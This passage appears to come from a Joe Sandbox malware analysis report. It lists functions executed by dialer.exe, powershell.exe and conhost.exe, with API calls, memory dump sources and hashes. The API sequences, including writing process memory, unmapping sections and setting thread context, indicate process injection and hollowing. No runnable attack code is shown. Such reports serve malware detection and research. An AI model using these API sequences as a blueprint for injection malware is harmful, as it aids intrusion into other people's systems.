Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 359475ec8b7528c77e115259b106b0472551a1d365d7dff617278925673e248b
Instruction ID: e122d931978df067e2f6f523752654566603ac09ede92c32e374204b0c7f82cb
Opcode Fuzzy Hash: 359475ec8b7528c77e115259b106b0472551a1d365d7dff617278925673e248b
Instruction Fuzzy Hash: 3F01B2B5705A0192FA6BDB53FE083D86364BB6CBD1F454021EF0953AB4DB79C996C300

Analysis Process: dialer.exePID: 8052, Parent PID: 4280COMMON

Execution Graph

Execution Coverage:	56.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	87.5%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140832D30 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000000140832E5A
GetProcAddressForCaller.KERNELBASE ref: 0000000140832E84
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 0000000140832F09
VirtualProtect.KERNELBASE ref: 0000000140832F27

Memory Dump Source

Source File: 00000041.00000002.2936453016.000000014082C000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.2936323754.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.2936453016.00000001404C8000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.2936453016.00000001404EC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.2936453016.00000001404EF000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.2936453016.0000000140777000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.2936453016.00000001407F8000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.2938364013.0000000140834000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: fc7b6a3bd621f7d17f98b0102345922539b498eb494b6f3c4a19026b9e8f6b5c
Instruction ID: 490267afce550785c801030b00c3b8e77ffef9829ef37814adfd0db67bac2f23
Opcode Fuzzy Hash: fc7b6a3bd621f7d17f98b0102345922539b498eb494b6f3c4a19026b9e8f6b5c
Instruction Fuzzy Hash: 97614832F4025745FB275BAAEB853E86350A39D7B4F084721CBB9433F6E67A88568310

Analysis Process: powershell.exePID: 7956, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	27
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B8B0C7D Relevance: 1.6, APIs: 1, Instructions: 127
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL(?), ref: 00007FFD9B8B0D47

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 8b1d4cd132bfab91e3304f29c26c0e6f8698456c99936a92ff416518208980c2
Instruction ID: 06daf592628fb52f233194c6aab0843917f6ff36c19045b1b26107f7064275bc
Opcode Fuzzy Hash: 8b1d4cd132bfab91e3304f29c26c0e6f8698456c99936a92ff416518208980c2
Instruction Fuzzy Hash: E831163190CB4D9FDB299B68D845BE9BBE4FF16320F04026EE059D3692CB21B402CB85

Function 00007FFD9B8AE098 Relevance: 1.6, APIs: 1, Instructions: 122
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B8B0B1B

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3892b5094106809d4cc517fcb36c73ef8c5072e0c02c249050b38b247b9e1a3a
Instruction ID: 3842eadfcd6e816a8351322554f89b182702ad51d2a98788cc714c4f3c102dda
Opcode Fuzzy Hash: 3892b5094106809d4cc517fcb36c73ef8c5072e0c02c249050b38b247b9e1a3a
Instruction Fuzzy Hash: 3B315772A0D74C8FEB58CB98D8497B97BF0FBA9320F04416FD049C31A6E620A945C751

Function 00007FFD9B8B0A5E Relevance: 1.6, APIs: 1, Instructions: 117
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B8B0B1B

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: f675c630cf44929827dc4571c4b6e4967506c4416dbab6f3466c829ef9b0b82d
Instruction ID: 452f9bcbdaf237e0e0daee35a0d3ee2c18a10fdc961735eb5498c6923e8bfddd
Opcode Fuzzy Hash: f675c630cf44929827dc4571c4b6e4967506c4416dbab6f3466c829ef9b0b82d
Instruction Fuzzy Hash: F531F83060D7888FDB5ADFA8CC557A97FE0EF56320F04429BD049C71A7D674A446CB92

Function 00007FFD9B8AE0A8 Relevance: 1.6, APIs: 1, Instructions: 117
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B8B0B1B

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: f3b05bb11942f3b5acee0f6915ef40ce21c2cc27fdfcc779756f54546e194a69
Instruction ID: 7ce90efc9bce5a2681412da3e139f7f8569e1a36246167d5059fe03d4559226b
Opcode Fuzzy Hash: f3b05bb11942f3b5acee0f6915ef40ce21c2cc27fdfcc779756f54546e194a69
Instruction Fuzzy Hash: D1313871A0D74C8FDB58DF98D8497A97BF0FBA9320F04416FD049D31A2D634A945CB51

Function 00007FFD9B8B1004 Relevance: 1.6, APIs: 1, Instructions: 115
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL ref: 00007FFD9B8B10B5

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ce6f9c67a4d404685f9321bb1da1e563d1670c4ded540d4f20cd3becc498b8f9
Instruction ID: dca8d5c2580dd70a002f431a9d43f0c3ea14e6bfbe324a8100bc1e2aff581981
Opcode Fuzzy Hash: ce6f9c67a4d404685f9321bb1da1e563d1670c4ded540d4f20cd3becc498b8f9
Instruction Fuzzy Hash: B931E731A0C65C8FDB58DF98D8467E9BBE1EF5A320F04416BD049C7292DB70A846CB91

Function 00007FFD9B8AE0C8 Relevance: 1.6, APIs: 1, Instructions: 102
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B8B0B1B

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 5e95f1355e6d9dca12695d2e14ec465dec5899cecda8db38e6dc0b07a20cb820
Instruction ID: e0bd2db66b9c037160e0603eaff8bbc0f325618e121e875435eaa1f4fd2a287c
Opcode Fuzzy Hash: 5e95f1355e6d9dca12695d2e14ec465dec5899cecda8db38e6dc0b07a20cb820
Instruction Fuzzy Hash: A721E671A0CA0C8FDB58DF98D8457B97BE0EB99320F04416FD04AD3262DA74A846CB91

Function 00007FFD9B8B0F40 Relevance: 1.6, APIs: 1, Instructions: 98
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL ref: 00007FFD9B8B0FCB

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 5bf9d526aa81f55d31949fa4c7c0a1e1ff38195a4c6b4b8278dabb8b5e79bb04
Instruction ID: 6caafceb4c4548b02754b2575d9654a3eab0004896b359ee0637a71ec644471b
Opcode Fuzzy Hash: 5bf9d526aa81f55d31949fa4c7c0a1e1ff38195a4c6b4b8278dabb8b5e79bb04
Instruction Fuzzy Hash: C121F93060C74C4FDB68DF68D846AEA7BE1EB56320F00425ED059C7192CA219457CB51

Function 00007FFD9B8B0241 Relevance: 2.4, APIs: 1, Instructions: 899
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FFD9B8B095D

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 35ad49e393d5b63220c4ee17b6d2236927d31ee0c5aeac98b04332784744950a
Instruction ID: 94ed6f8a5d9398cdc9354921a869490fc55ab091dc00fe238840e0d690984569
Opcode Fuzzy Hash: 35ad49e393d5b63220c4ee17b6d2236927d31ee0c5aeac98b04332784744950a
Instruction Fuzzy Hash: FED12830619B8D8FEB64DF28CC567E97BE0FF59310F05426AD84DC72A2DA34A5458BC2

Function 00007FFD9B8AEB1A Relevance: 1.8, APIs: 1, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFD9B8AECC6

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: d4ee2fe0a5e479e28961f603257062ef4beb52ada74d37f778e95dad07cbe871
Instruction ID: f9f2fcdef3d496de10123db7235d67d706e242cc4b2b2d0219088b24e9646677
Opcode Fuzzy Hash: d4ee2fe0a5e479e28961f603257062ef4beb52ada74d37f778e95dad07cbe871
Instruction Fuzzy Hash: B271393050CA8C4FEB59DF68C816BE43BE0FF19311F1402AEE84DC72A2DA75A8418791

Function 00007FFD9B8AE8CC Relevance: 1.7, APIs: 1, Instructions: 234
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00007FFD9B8AEA59

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 24904fd8ceb9cf6b95fc60d21620d1e19620f177159fa189f9d638527f44501e
Instruction ID: d7ae401efc971faee5ac444b19e33c4e409d00a90f78b04c5a8acf7a0b81d46d
Opcode Fuzzy Hash: 24904fd8ceb9cf6b95fc60d21620d1e19620f177159fa189f9d638527f44501e
Instruction Fuzzy Hash: F761193051CB8D8FEB68DF58DC567E43BE0FF59311F14426AE84EC7292DA34A9418B91

Function 00007FFD9B8AED86 Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE ref: 00007FFD9B8AEE63

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 4eb88c1a398054de201586deca9364ba132c3e52c12814866e4c766a682f1ad6
Instruction ID: 1bb214e8e011747c5c45be4c839b4d41fbd80e4d59641c1f964efbd2cb038cd1
Opcode Fuzzy Hash: 4eb88c1a398054de201586deca9364ba132c3e52c12814866e4c766a682f1ad6
Instruction Fuzzy Hash: 1D413A3090CB889FDB1DDBACD805AE87BF0FF5A321F14026ED089C31A2DB646852C791

Function 00007FFD9B8AE7C8 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32GetModuleInformation.KERNEL32 ref: 00007FFD9B8AE882

Memory Dump Source

Source File: 00000042.00000002.1990167003.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 352fa06a7eda95d10b9a6dc143295ca3a839630c9dce7c1196b71588aff0e78b
Instruction ID: 7adcfb71079ea0dfb542cf371c2e2aacfd89847a200c83703f751e976a5a8800
Opcode Fuzzy Hash: 352fa06a7eda95d10b9a6dc143295ca3a839630c9dce7c1196b71588aff0e78b
Instruction Fuzzy Hash: CF312430E0CA4C8FDB1CDBAC98456F9BBE1EF69321F00426FD049C3692DB7468468B81

Function 00007FFD9B9714DC Relevance: 1.4, Instructions: 1375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000042.00000002.1992022694.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e51396bc1d030c845ee0894ce3f2a19e47550e97f8909fb805544cd2149f4603
Instruction ID: 2d3c30f9b1113715b538cc354ef96cf0ad0a044e21d7920c0609fef60e128bd4
Opcode Fuzzy Hash: e51396bc1d030c845ee0894ce3f2a19e47550e97f8909fb805544cd2149f4603
Instruction Fuzzy Hash: 0FA24F3031CA488FDBA9EB2CD4A4E6573E1EFA9305B15459DD04ACB2A6DE31FC45CB81

Function 00007FFD9BB27F5A Relevance: 1.4, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h&_H, xrefs: 00007FFD9BB27FA4

Memory Dump Source

Source File: 00000042.00000002.1998396044.00007FFD9BB20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9bb20000_powershell.jbxd

Similarity

API ID:
String ID: h&_H
API String ID: 0-2788340379
Opcode ID: 753997a1728c19b8eca2401dfbb9a74873bb249cdeea1e274d4fe3699098bc19
Instruction ID: f3cf17561afe5573ee6fdb838a153a1ee5377681d2013efd1cf31dc3eb17b66c
Opcode Fuzzy Hash: 753997a1728c19b8eca2401dfbb9a74873bb249cdeea1e274d4fe3699098bc19
Instruction Fuzzy Hash: 88310533B0DA5D0FEBA4D69C24255F973C1EFA8620B0501B7D52DC31D6EE14AD1143C5

Function 00007FFD9BB27F8D Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

h&_H, xrefs: 00007FFD9BB27FA4

Memory Dump Source

Source File: 00000042.00000002.1998396044.00007FFD9BB20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9bb20000_powershell.jbxd

Similarity

API ID:
String ID: h&_H
API String ID: 0-2788340379
Opcode ID: 9ce492da2cf30d56f0693e2020e26c30911d2edc997fb9b74a4002bd05a092b0
Instruction ID: 2f88a1ae5230e2c86f08ae8b7ccf5ada54a521f1744603e5db72a37d626ec165
Opcode Fuzzy Hash: 9ce492da2cf30d56f0693e2020e26c30911d2edc997fb9b74a4002bd05a092b0
Instruction Fuzzy Hash: 8AF05923F0E9DD0BEBA591AC34255F526C1EFA5620B4901B6D51CC72C6DC049C1503C1

Function 00007FFD9B972160 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000042.00000002.1992022694.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f07578d2ee1a2dbeba88a0441066a180f91c8c2748cebc38db4a5775f5ca2a2b
Instruction ID: c51f6fb6484e1be4127366cecb7318abcd16509e8944b9f3dc8e2278b97bac2e
Opcode Fuzzy Hash: f07578d2ee1a2dbeba88a0441066a180f91c8c2748cebc38db4a5775f5ca2a2b
Instruction Fuzzy Hash: E6914862B2FA8D1FE7A996AC58A46707BD0EF66210B0901FBD49CC71E3DD19AC05C341

Function 00007FFD9B9722F1 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000042.00000002.1992022694.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5926fbb382447234e5aeafcccfab86f61687a8049385348c6995385692036b9e
Instruction ID: 06da7994bfb36a09c9a37e0c9aaa0894bced4f58d6e9e128b4214efbe24bc513
Opcode Fuzzy Hash: 5926fbb382447234e5aeafcccfab86f61687a8049385348c6995385692036b9e
Instruction Fuzzy Hash: 8E21D653B2FBCA1FE7A596A814A5164BBD0EF6665471941FAD4ACC71E3DC092C058301

Analysis Process: conhost.exePID: 8100, Parent PID: 7956COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	1

Executed Functions

Function 0000014ECB4A3620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000014ECB4A3639
PathFindFileNameW.SHLWAPI ref: 0000014ECB4A3648

Part of subcall function 0000014ECB4A3C74: StrCmpNIW.SHLWAPI(?,?,?,0000014ECB4A254B), ref: 0000014ECB4A3C8C

Part of subcall function 0000014ECB4A3BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3BCE
Part of subcall function 0000014ECB4A3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3BFC
Part of subcall function 0000014ECB4A3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3C1E
Part of subcall function 0000014ECB4A3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3C39
Part of subcall function 0000014ECB4A3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3C5A

CreateThread.KERNELBASE ref: 0000014ECB4A368F

Part of subcall function 0000014ECB4A1D40: GetCurrentThread.KERNEL32 ref: 0000014ECB4A1D4B

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: 446be610b8d5eb5db247b132eab7b0ed210335f6137fe254784a06e4b0cb33bb
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: 3B118831A1C6218DFF709B24B8C53EB62E2F7A4B45F5041159706816F5FF7CC038AA00

Function 0000014ECB472AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000014ECB472C32

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: b718ff1bf738cf45eaa94060793e083fa5cc7f1eb7d41b8d47b72f5485542534
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: A3911372B056508BEF64CF25E084BAD73D1F756B94F5481249F4A2BBA8FE38D816D700

Function 0000014ECB4A1AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000014ECB4A1628: GetProcessHeap.KERNEL32 ref: 0000014ECB4A1633
Part of subcall function 0000014ECB4A1628: HeapAlloc.KERNEL32 ref: 0000014ECB4A1642
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A16B2
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A16DF
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A16F9
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1719
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A1734
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1754
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A176F
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A178F
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A17AA
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A17CA

SleepEx.KERNELBASE ref: 0000014ECB4A1AE3

Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A17E5
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1805
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A1820
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1840
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A185B
Part of subcall function 0000014ECB4A1628: RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A187B
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A1896
Part of subcall function 0000014ECB4A1628: RegCloseKey.ADVAPI32 ref: 0000014ECB4A18A0

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 7a32dc024528bf182ba70241aa4d706cb4a0fc69ed4b47380085e6d64f5d3450
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: 87310C75658621DFEF549B26F9D03EA22E4BB86FC0F4450229F09876F6FF20C870A250

Non-executed Functions

Function 0000014ECB4A2BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000014ECB4A2C98
lstrlenW.KERNEL32 ref: 0000014ECB4A2EC2

Part of subcall function 0000014ECB4A1934: OpenProcess.KERNEL32 ref: 0000014ECB4A195A
Part of subcall function 0000014ECB4A1934: K32GetModuleFileNameExW.KERNEL32 ref: 0000014ECB4A1978
Part of subcall function 0000014ECB4A1934: PathFindFileNameW.SHLWAPI ref: 0000014ECB4A1987
Part of subcall function 0000014ECB4A1934: lstrlenW.KERNEL32 ref: 0000014ECB4A1993
Part of subcall function 0000014ECB4A1934: StrCpyW.SHLWAPI ref: 0000014ECB4A19A6
Part of subcall function 0000014ECB4A1934: CloseHandle.KERNEL32 ref: 0000014ECB4A19B4

GetProcAddress.KERNEL32 ref: 0000014ECB4A2CAD

Part of subcall function 0000014ECB4A3C74: StrCmpNIW.SHLWAPI(?,?,?,0000014ECB4A254B), ref: 0000014ECB4A3C8C

StrCmpNIW.SHLWAPI ref: 0000014ECB4A2CF0
lstrlenW.KERNEL32 ref: 0000014ECB4A2E18

Strings

ntdll.dll, xrefs: 0000014ECB4A2C91
NtQueryObject, xrefs: 0000014ECB4A2CA3
\Device\Nsi, xrefs: 0000014ECB4A2CE3

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
